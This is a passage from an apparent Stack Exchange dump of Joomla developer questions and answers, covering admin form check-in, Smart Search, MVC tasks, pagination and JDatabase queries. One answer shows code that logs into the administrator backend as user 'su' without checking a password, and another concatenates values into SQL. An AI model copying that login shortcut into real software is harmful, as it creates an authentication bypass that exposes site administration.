  <row Id="23695" PostTypeId="2" ParentId="23251" CreationDate="2018-11-02T23:48:41.100" Score="1" Body="&lt;p&gt;I came to a solution on this problem, but it was more detailed than originally expected. Include the following JavaScript in your admin pages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;    const form = $('form[name=&quot;adminForm&quot;]');&#xA;    const form_id = form.attr('id');&#xA;    const initial_form_state = $('form[name=&quot;adminForm&quot;]').serialize();&#xA;    const obj_name = form_id.replace('-form', '');&#xA;&#xA;    let clicked_url = '';&#xA;&#xA;    /**&#xA;     * Checks in the current form and then redirects to the URL selected by the user&#xA;     *&#xA;     * @return {void}&#xA;     */&#xA;    function checkInThenRedirect(){&#xA;        // Set the task to cancel&#xA;        $(form).find('input[name=&quot;task&quot;]').val(`${obj_name}.cancel`);&#xA;&#xA;        $.ajax({&#xA;            cache: false,&#xA;            contentType: false,&#xA;            data: new FormData($('form')[0]),&#xA;            method: 'POST',&#xA;            processData: false,&#xA;            url: $('form').attr('action')&#xA;        }).done(function(data){&#xA;            window.location = clicked_url;&#xA;        });&#xA;    }&#xA;&#xA;    // Listen for any changes to files&#xA;    $('form :file').change(function(){&#xA;       $('form').data('changed',true);&#xA;    });&#xA;&#xA;    // Listen for clicks on links&#xA;$('#content a').not('[target=&quot;_blank&quot;]').not('[href^=&quot;#&quot;]').not('.modal').not('[class*=&quot;group-add&quot;]').not('[class*=&quot;group-remove&quot;]').not('[class*=&quot;button&quot;]').click(function(event){&#xA;        event.preventDefault();&#xA;        clicked_url = $(this).attr('href');&#xA;&#xA;        // Get the current from state&#xA;        const form_state = $(`#${form_id}`).serialize();&#xA;&#xA;        // If changes were made, prompt the user to see if they want to save&#xA;        if(initial_form_state !== form_state || $('form').data('changed')){&#xA;            event.preventDefault();&#xA;&#xA;            // Add a modal to the screen&#xA;            $('body').append(`&#xA;                &amp;lt;div class=&quot;modal&quot; id=&quot;confirmLeaveModal&quot; style=&quot;margin-left: -150px; text-align: center; width: 300px;&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;modal-header&quot;&amp;gt;&#xA;                        &amp;lt;button type=&quot;button&quot; class=&quot;close&quot; data-dismiss=&quot;modal&quot;&amp;gt;&amp;amp;times;&amp;lt;/button&amp;gt;&#xA;                        &amp;lt;h3&amp;gt;Unsaved Changes&amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;modal-body&quot;&amp;gt;&#xA;                        &amp;lt;p style=&quot;padding: 20px;&quot;&amp;gt;You have unsaved changes. Would you like to save them?&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;modal-footer&quot;&amp;gt;&#xA;                        &amp;lt;button type=&quot;button&quot; class=&quot;btn&quot; id=&quot;confirmLeaveNo&quot;&amp;gt;No&amp;lt;/button&amp;gt;&#xA;                        &amp;lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot; id=&quot;confirmLeaveYes&quot;&amp;gt;Yes&amp;lt;/button&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;`);&#xA;            return;&#xA;        }&#xA;&#xA;        checkInThenRedirect();&#xA;    });&#xA;&#xA;    // Bootstrap's modal close doesn't work on dynamic modals. Fixing that&#xA;    $('body').on('click', '#confirmLeaveModal .close', function(event){&#xA;        $('#confirmLeaveModal').remove();&#xA;    });&#xA;&#xA;    // If the user does not want to save changes&#xA;    $('body').on('click', '#confirmLeaveNo', function(event){&#xA;        event.preventDefault();&#xA;        checkInThenRedirect();&#xA;    });&#xA;&#xA;    // If the user agrees to save changes&#xA;    $('body').on('click', '#confirmLeaveYes', function(event){&#xA;        event.preventDefault();&#xA;&#xA;        // Get the form URL&#xA;        let target = $('form').attr('action');&#xA;&#xA;        // Add a return with the clicked_url&#xA;        target += '&amp;amp;return=' + encodeURI(window.btoa(clicked_url));&#xA;&#xA;        // Add the new target to the form&#xA;        $('form').attr('action', target);&#xA;&#xA;        // Cause the form to be submitted&#xA;        Joomla.submitform(`${obj_name}.save`, document.getElementById(form_id));&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code will automatically check-in the resource that the user had locked when they navigate to a new admin screen. If they made changes to the current screen, it will prompt them for what to do first.&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="32" LastEditDate="2018-11-30T23:36:27.200" LastActivityDate="2018-11-30T23:36:27.200" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23696" PostTypeId="2" ParentId="22029" CreationDate="2018-11-03T03:16:32.680" Score="1" Body="&lt;p&gt;I used code below to login to the backend automatically, and it works fine, the location where I put these code is: &lt;strong&gt;/plugins/system/mysociallogin/mysociallogin.php&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mistake I made before is that I requested to the wrong url. If you want to login to the backend, don't forget to request to &lt;strong&gt;/administrator/index.php&lt;/strong&gt;, the frontend and backend are two different sites in fact.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset ($identity-&amp;gt;UserId))&#xA;{    &#xA;    require_once JPATH_ADMINISTRATOR . '/components/com_login/models/login.php';&#xA;    $adminApp = JApplication::getInstance('administrator');&#xA;&#xA;    $model       = JModelLegacy::getInstance('login', 'LoginModel');&#xA;    $credentials = array('username' =&amp;gt; $user_login,&#xA;                         'password' =&amp;gt; $user_identity_id);&#xA;    $return      = &quot;index.php&quot;;&#xA;&#xA;    $ret = $adminApp-&amp;gt;login($credentials, array('action' =&amp;gt; 'core.login.admin', 'entry_url' =&amp;gt; '/administrator/index.php?option=com_users&amp;amp;task=user.login'));&#xA;&#xA;    if ($ret &amp;amp;&amp;amp; !($ret instanceof Exception))&#xA;    {&#xA;        // Only redirect to an internal URL.&#xA;        if (JUri::isInternal($return))&#xA;        {&#xA;            // If &amp;amp;tmpl=component - redirect to index.php&#xA;            if (strpos($return, 'tmpl=component') === false)&#xA;            {&#xA;                $adminApp-&amp;gt;redirect($return);&#xA;            }&#xA;            else&#xA;            {&#xA;                $adminApp-&amp;gt;redirect('index.php');&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;update Nov 4, 2018&lt;/p&gt;&#xA;&#xA;&lt;p&gt;finally, I found login to the backend is as easy as a few code below to achieve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$options['group'] = 'Public Backend';&#xA;$options['autoregister'] = false;&#xA;$options['action'] = 'core.login.admin';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$response = new stdClass();&#xA;$response-&gt;username = &quot;su&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JPluginHelper::importPlugin ('user');&#xA;$result = $app-&gt;triggerEvent ('onUserLogin', array ((array) $response, $options)); /* key point*/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just FYI~&lt;/p&gt;&#xA;" OwnerUserId="7604" LastEditorUserId="7604" LastEditDate="2018-11-04T00:06:49.043" LastActivityDate="2018-11-04T00:06:49.043" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23698" PostTypeId="1" AcceptedAnswerId="23699" CreationDate="2018-11-03T14:32:12.973" Score="5" ViewCount="189" Body="&lt;p&gt;I am using Joomla v3.8.13 and have enabled Smart Search v3.0.0 which is indexing articles correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also installed &lt;a href=&quot;https://www.chronoengine.com/chronoforms&quot; rel=&quot;noreferrer&quot;&gt;ChronoForms by ChronoEngine&lt;/a&gt; to create a Contact Us form and some other forms.  The forms are added to the site using Menu Items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because there are no articles involved, the forms not do appear in the search results for 'contact' or words from the titles of the other menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike 'Contact Us', some of the menu items are not at the first level of the menu hierarchy so are not easy to find.  This means that search is important for site visitors to find these pages.  While they could resort to site-specific Google searches, these are not always easy to define for the average visitor.  Also, the Google crawlers can take a while to do the indexing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to the menu items, I also have custom Modules which display narrative above the forms.  The modules are only visible when the relevant menus are selected so they are page-specific.  They also have content like 'contact' which matches the menu item titles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I could index either the Menu Items or the Modules this would solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible, even if with some PHP customisation?&lt;/p&gt;&#xA;" OwnerUserId="13020" LastActivityDate="2018-11-03T22:31:45.290" Title="Can Smart Search index menu items or custom modules?" Tags="|joomla-3.x|module|menu-item|smartsearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23699" PostTypeId="2" ParentId="23698" CreationDate="2018-11-03T22:31:45.290" Score="5" Body="&lt;p&gt;To answer the question: The items indexed in the smart search are driven by the 'finder' plugins. Menu items and custom modules have no finder plugins, but you could write them.  I don't know of any already existing in the wild.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve the problem: Replace the menu items you have pointed to forms to point to single articles, move the content from the custom modules into those articles, and use the chronoform content plugin to embed the forms inside the articles like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{chronoforms5}formnamehere{/chronoforms5}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-11-03T22:31:45.290" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23700" PostTypeId="1" AcceptedAnswerId="23701" CreationDate="2018-11-05T14:45:49.300" Score="2" ViewCount="72" Body="&lt;p&gt;I am trying to understand Joomla's MVC logic. please help me figure out the processing of the task&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unedited code from a Joomla package has the front end article edit form with the task field, but its value is missing (file root/components/com_content/views/form/tmpl/edit.php ):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By default, the URL of the form's action does not have a task parameter. This is how I see the URL for the action: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_('index.php?option=com_content&amp;amp;a_id=' . (int) $this-&amp;gt;item-&amp;gt;id); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not sure, but I think that when the flow reaches the component's entry point, in this case, file root/components/com_content/content.php, the input includes a task article.save&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The input data I get is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [&quot;data&quot;:protected]=&amp;gt;&#xA;  &amp;amp;array(13) {&#xA;    [&quot;a_id&quot;]=&amp;gt;&#xA;    string(1) &quot;7&quot;&#xA;    [&quot;jform&quot;]=&amp;gt;&#xA;    array(12) {&#xA;      [&quot;title&quot;]=&amp;gt;&#xA;      string(69) &quot;Test 1&quot;&#xA;      [&quot;version_note&quot;]=&amp;gt;&#xA;      string(0) &quot;&quot;&#xA;      [&quot;state&quot;]=&amp;gt;&#xA;      string(1) &quot;1&quot;&#xA;      [&quot;publish_up&quot;]=&amp;gt;&#xA;      string(19) &quot;2018-05-23 05:37:29&quot;&#xA;      [&quot;publish_down&quot;]=&amp;gt;&#xA;      string(0) &quot;&quot;&#xA;      [&quot;tags&quot;]=&amp;gt;&#xA;      array(3) {&#xA;        [0]=&amp;gt;&#xA;        string(1) &quot;2&quot;&#xA;        [1]=&amp;gt;&#xA;        string(1) &quot;4&quot;&#xA;        [2]=&amp;gt;&#xA;        string(1) &quot;6&quot;&#xA;      }&#xA;      [&quot;metadesc&quot;]=&amp;gt;&#xA;      string(0) &quot;&quot;&#xA;      [&quot;metakey&quot;]=&amp;gt;&#xA;      string(0) &quot;&quot;&#xA;      [&quot;articletext&quot;]=&amp;gt;&#xA;      string(181) &quot;&amp;lt;p&amp;gt;TEST This is some text&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Line 1&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Line 2&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Line 3&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Line 7&amp;lt;/p&amp;gt;&quot;&#xA;      [&quot;com_fields&quot;]=&amp;gt;&#xA;      array(1) {&#xA;        [&quot;testfield&quot;]=&amp;gt;&#xA;        string(27) &quot;&amp;lt;span class=&quot;star&quot;&amp;gt;@&amp;lt;/span&amp;gt;&quot;&#xA;      }&#xA;      [&quot;catid&quot;]=&amp;gt;&#xA;      string(1) &quot;8&quot;&#xA;      [&quot;language&quot;]=&amp;gt;&#xA;      string(1) &quot;*&quot;&#xA;    }&#xA;    [&quot;task&quot;]=&amp;gt;&#xA;    string(12) &quot;article.save&quot;&#xA;    [&quot;return&quot;]=&amp;gt;&#xA;    string(180) &quot;aW5kZXgucGhwP29wdGlvbj1jb21fY29udGVudCZ0YXNrPWFydGljbGUuZWRpdCZhX2lkPTcmcmV0dXJuPWFIUjBjSE02THk5c2IyTmhiR2h2YzNRdmMyaHZjblJ6ZEc5eWVTNXpjR0ZqWlM5d2RXSnNhV05mYUhSdGJDOTBaWE4wTFRFPQ==&quot;&#xA;    [&quot;13456789&quot;]=&amp;gt;&#xA;    string(1) &quot;1&quot;&#xA;    [&quot;option&quot;]=&amp;gt;&#xA;    string(11) &quot;com_content&quot;&#xA;    [&quot;view&quot;]=&amp;gt;&#xA;    string(8) &quot;category&quot;&#xA;    [&quot;layout&quot;]=&amp;gt;&#xA;    string(4) &quot;blog&quot;&#xA;    [&quot;id&quot;]=&amp;gt;&#xA;    string(1) &quot;8&quot;&#xA;    [&quot;Itemid&quot;]=&amp;gt;&#xA;    string(3) &quot;101&quot;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where is the task set? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the original edit.php file is missing a value for the task field, is there another field in this form that influences the setting of the task in a file that is called after I click the save button?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like I try to communicate above, the component's input shows [&quot;task&quot;]=&gt;string(12) &quot;article.save&quot; when the component's entry point file is called (i.e., root/components/com_content/content.php&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that the URL task parameter is missing from the form's action, does the URL from which I make the request influences the code that sets the task?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I welcome any information in helping to understand Joomla's MVC logic&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2018-11-05T14:59:30.403" Title="MVC what stage sets a task if none provided" Tags="|joomla-3.x|component|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23701" PostTypeId="2" ParentId="23700" CreationDate="2018-11-05T14:59:30.403" Score="2" Body="&lt;p&gt;If you inspect the button in the back end, you'll notice that for the most part they are &lt;code&gt;&amp;lt;button onclick=&quot;Joomla.submitbutton('view.task');&quot;&amp;gt;&amp;lt;/button&amp;gt;&lt;/code&gt;. When &lt;code&gt;Joomla.submitbutton&lt;/code&gt; is called, the value passed into it is automatically transferred into &lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; /&amp;gt;&lt;/code&gt; if found inside of a &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; with the ID &lt;code&gt;adminForm&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, controllers automatically default all tasks to &lt;code&gt;view.display&lt;/code&gt; if no task is given.&lt;/p&gt;&#xA;" OwnerUserId="2081" LastActivityDate="2018-11-05T14:59:30.403" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23702" PostTypeId="2" ParentId="23674" CreationDate="2018-11-06T00:41:05.053" Score="0" Body="&lt;p&gt;The following code works correctly with the method from J3xAPI at &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Pagination.Pagination.html#property_prefix&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.Pagination.Pagination.html#property_prefix&lt;/a&gt;    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pagebreak='';&#xA;if( preg_match('#\{pagebreakgallery=\&quot;(.*?)\&quot;\}#i', $this-&amp;gt;item-&amp;gt;text, $folder) ) &#xA;{&#xA;    $imagesDir = JPATH_ROOT.'/images/photogallery/'.$folder[1].'/';&#xA;    $imgfiles = glob($imagesDir . '*.{jpg,JPG,jpeg,JPEG,png,PNG,gif,GIF}', GLOB_BRACE);&#xA;    $images = str_replace(JPATH_ROOT, Juri::root(true), $imgfiles);&#xA;&#xA;    foreach($images as $image) {&#xA;      $page_break[] = '&amp;lt;img src=&quot;'.$image.'&quot; /&amp;gt;';&#xA;    }&#xA;    $this-&amp;gt;item-&amp;gt;text = str_replace($folder[0], '[pbgal]', $this-&amp;gt;item-&amp;gt;text);&#xA;&#xA;    $pagenum = 0;&#xA;    if( $app-&amp;gt;input-&amp;gt;get('pg-limitstart') !='' )&#xA;      $pagenum = $app-&amp;gt;input-&amp;gt;getInt('pg-limitstart');&#xA;&#xA;    $pages = count($page_break);&#xA;&#xA;    if( $pages &amp;gt; 0 )&#xA;    {&#xA;      $pagelinks = new JPagination($pages, $pagenum, 1, 'pg-');&#xA;      $pagebreak .= $page_break[$pagenum];&#xA;&#xA;      $pagebreak .= '&#xA;      &amp;lt;div class=&quot;paging&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;pagecount&quot;&amp;gt;'.$pagelinks-&amp;gt;getPagesCounter().'&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;pager&quot;&amp;gt;'.$pagelinks-&amp;gt;getPagesLinks().'&amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      ';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;$pagebreak&lt;/strong&gt; variable is output along with other modified processes within an array used in a &lt;strong&gt;str_replace()&lt;/strong&gt; method. eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;item-&amp;gt;text = str_replace(['[pbgal]','[refs]'], [$pagebreak,$refs], $this-&amp;gt;item-&amp;gt;text);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12862" LastActivityDate="2018-11-06T00:41:05.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23703" PostTypeId="1" AcceptedAnswerId="23704" CreationDate="2018-11-06T00:50:14.293" Score="3" ViewCount="3156" Body="&lt;p&gt;I have the following query that I need to convert to Joomla using &lt;code&gt;JDatabase&lt;/code&gt;. &lt;strong&gt;This query executes as intended in the phpMyAdmin.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `id`, DATE_FORMAT(`estEventDate`, '%b %Y') AS estDate, COUNT(`id`) AS cnt FROM `jdev_events` GROUP BY estDate ORDER BY estDate DESC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried many different ways, but with no luck.&#xA;The first problem I faced was that I cannot alias the function but only the field in the &lt;code&gt;$db-&amp;gt;quoteName()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;selcet(array($db-&amp;gt;quoteName('id'), 'DATE_FORMAT(' . $db-&amp;gt;quoteName('estEventDate') . ', &quot;%b %Y&quot;)' . ' AS estDate', 'COUNT(' . $db-&amp;gt;quoteName('id') . ') as cnt'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But even if I remove the aliases...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;selcet(array($db-&amp;gt;quoteName('id'), 'DATE_FORMAT(' . $db-&amp;gt;quoteName('estEventDate') . ', &quot;%b %Y&quot;)', 'COUNT(' . $db-&amp;gt;quoteName('id') . ')'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I tried to set the SELECT object as string :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select(&quot;`id`, DATE_FORMAT(`estEventDate`, '%b %Y') AS estDate, COUNT(`id`) AS cnt&quot;);&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__events'));&#xA;$query-&amp;gt;group('estDate');&#xA;$query-&amp;gt;order('estDate DESC');&#xA;$db-&amp;gt;setQuery($query);&#xA;JLog::add('Query : ' . $query-&amp;gt;__toString(), JLog::DEBUG, 'custom.field.estDate.getOptions');&#xA;$estDates = $db-&amp;gt;loadObjectLsit();&#xA;JLog::add('EstDates' . print_r($estDates, 1), JLog::DEBUG, 'custom.field.estDate.getOptions');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are the log entries:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;2018-11-06T00:37:36+00:00       DEBUG 127.0.0.1 custom.field.estdate.getOptions    Query : &#xA;SELECT `id`, DATE_FORMAT(`estEventDate`, '%b %Y') AS estDate, COUNT(`id`) AS cnt&#xA;FROM `#__events`&#xA;GROUP BY estDate&#xA;ORDER BY estDate DESC&#xA;2018-11-06T00:37:36+00:00       DEBUG 127.0.0.1 custom.field.estdate.getOptions    EstDates :&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am out of ideas.&lt;/p&gt;&#xA;" OwnerUserId="12709" LastEditorUserId="12352" LastEditDate="2018-11-10T02:58:08.007" LastActivityDate="2018-11-10T02:58:08.007" Title="How to write a query with GROUP BY and ORDER BY using Joomla's query methods?" Tags="|joomla-3.x|development|mysql|jdatabase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23704" PostTypeId="2" ParentId="23703" CreationDate="2018-11-06T02:05:55.617" Score="4" Body="&lt;p&gt;I see minor typos in each of your coding attempts (misspelled method names: &lt;code&gt;selcet&lt;/code&gt; and &lt;code&gt;loadObjectLsit&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Write the GROUP BY order like so: (&lt;a href=&quot;https://stackoverflow.com/a/3366929/2943403&quot;&gt;Reference Link&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT id, DATE_FORMAT(estEventDate, '%b %Y') AS estDate, COUNT(id) AS cnt&#xA;FROM #__events&#xA;GROUP BY estDate DESC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Implement like so: (no quoting calls are necessary for your query)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;try {&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select(&quot;id, DATE_FORMAT(estEventDate, '%b %Y') AS estDate, COUNT(id) AS cnt&quot;)&#xA;        -&amp;gt;from(&quot;#__events&quot;)&#xA;        -&amp;gt;group(&quot;estDate DESC&quot;);&#xA;    echo $query-&amp;gt;dump();&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $resultset = $db-&amp;gt;loadObjectList();&#xA;    if (!$resultset) {&#xA;        echo &quot;No Rows In Resultset&quot;;&#xA;    } else {&#xA;        foreach ($resultset as $row) {&#xA;            echo &quot;&amp;lt;div&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;div&amp;gt;ID: {$row-&amp;gt;id}&amp;lt;/div&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;div&amp;gt;EstDate: {$row-&amp;gt;estDate}&amp;lt;/div&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;div&amp;gt;Count: {$row-&amp;gt;cnt}&amp;lt;/div&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;        }&#xA;    }&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error');    // never show to public&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-11-06T02:41:31.577" LastActivityDate="2018-11-06T02:41:31.577" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23706" PostTypeId="2" ParentId="23648" CreationDate="2018-11-06T11:37:58.050" Score="1" Body="&lt;p&gt;I think I have discovered my issue. It appears to be due to ACL (access level) for the login menu item. It has to be public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the steps for the first answer in &lt;a href=&quot;https://stackoverflow.com/questions/34883387/joomla-3-4-8-logged-in-users-seeing-error-you-are-not-authorised-to-view-this-re&quot;&gt;this post&lt;/a&gt;  and now it works perfectly.&lt;/p&gt;&#xA;" OwnerUserId="9286" LastActivityDate="2018-11-06T11:37:58.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23707" PostTypeId="2" ParentId="22194" CreationDate="2018-11-06T17:38:33.747" Score="1" Body="&lt;p&gt;Thanks for posting not only the script but also the file location ;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the article view (single article) use the path above:&#xA;// File location: /templates/templatename/html/com_content/category/blog_item.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the category view (blog) use this path:&#xA;// File location: /templates/templatename/html/com_content/article/default.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also style the output directly in the files a bit, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;color:#333333; font-weight: 600; font-size:16px;&quot;&amp;gt; &#xA;        &amp;lt;?php&#xA;        // File location: /templates/templatename/html/com_content/category/blog_item.php&#xA;&#xA;        // loop first to make the fields easy to reference via the field name as a key&#xA;        foreach($this-&amp;gt;item-&amp;gt;jcfields as $jcfield){&#xA;            $this-&amp;gt;item-&amp;gt;arbitrary_property_name[$jcfield-&amp;gt;name] = $jcfield;&#xA;        }&#xA;&#xA;        echo $this-&amp;gt;item-&amp;gt;arbitrary_property_name['example']-&amp;gt;label; &#xA;        echo $this-&amp;gt;item-&amp;gt;arbitrary_property_name['example']-&amp;gt;value; &#xA;        ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope, that helps..&lt;/p&gt;&#xA;" OwnerUserId="13030" LastActivityDate="2018-11-06T17:38:33.747" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23710" PostTypeId="1" AcceptedAnswerId="23719" CreationDate="2018-11-06T23:26:12.397" Score="3" ViewCount="126" Body="&lt;p&gt;I'm posting this in hopes someone is familiar with the variables and objects and all of that in different sections of JComments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a query in tpl_tree.php to get the date of the last reply made in the thread and that displays on the top level. There may be a better way to write it, but i'm very new to php and databases, and it displays what i need it to correctly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($comment-&amp;gt;children == 0) {&#xA;echo JCommentsText::formatDate($comment-&amp;gt;date, JText::_('D M j Y g:ia')); &#xA;} else { &#xA;&#xA;   $db = JFactory::getDbo();&#xA;   $db-&amp;gt;setQuery('SELECT thread_id, date &#xA;                  FROM #__jcomments&#xA;                  WHERE thread_id = ' . $comment-&amp;gt;id . '&#xA;                  ORDER BY date DESC LIMIT 1');&#xA;   $db-&amp;gt;loadAssocList();&#xA;&#xA;   $row = $db-&amp;gt;loadAssocList(); &#xA;&#xA;   foreach ($row as $item) { &#xA;      echo JHtml::_('date', $item[date], JText::_('D M j Y g:ia')); &#xA;   } &#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the problem seems to be how to get that date to replace the parent = 0 comment date in the order. I can't seem to figure out the syntax to use to perform this query because the -&gt;children doesn't work where the orderby code is set and then have it use that date in place of the parent date when reply cases come up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The order by is set in jcomments settings in administration, but factoring in replies isn't an option in settings, so code to alter is &lt;strong&gt;components/com_jcomments/models/jcomments.php&lt;/strong&gt; There are 3 references to the order the comments are listed in, the first at the top&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!isset($options['orderBy'])) {&#xA;            $options['orderBy'] = self::_getDefaultOrder();&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the second is the case in the query where it sets parent = 0 comments as threaddate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;. &quot;\n,&#xA;     case &#xA;       when c.parent = 0 &#xA;       then unix_timestamp(c.date)&#xA;       else 0 &#xA;     end as 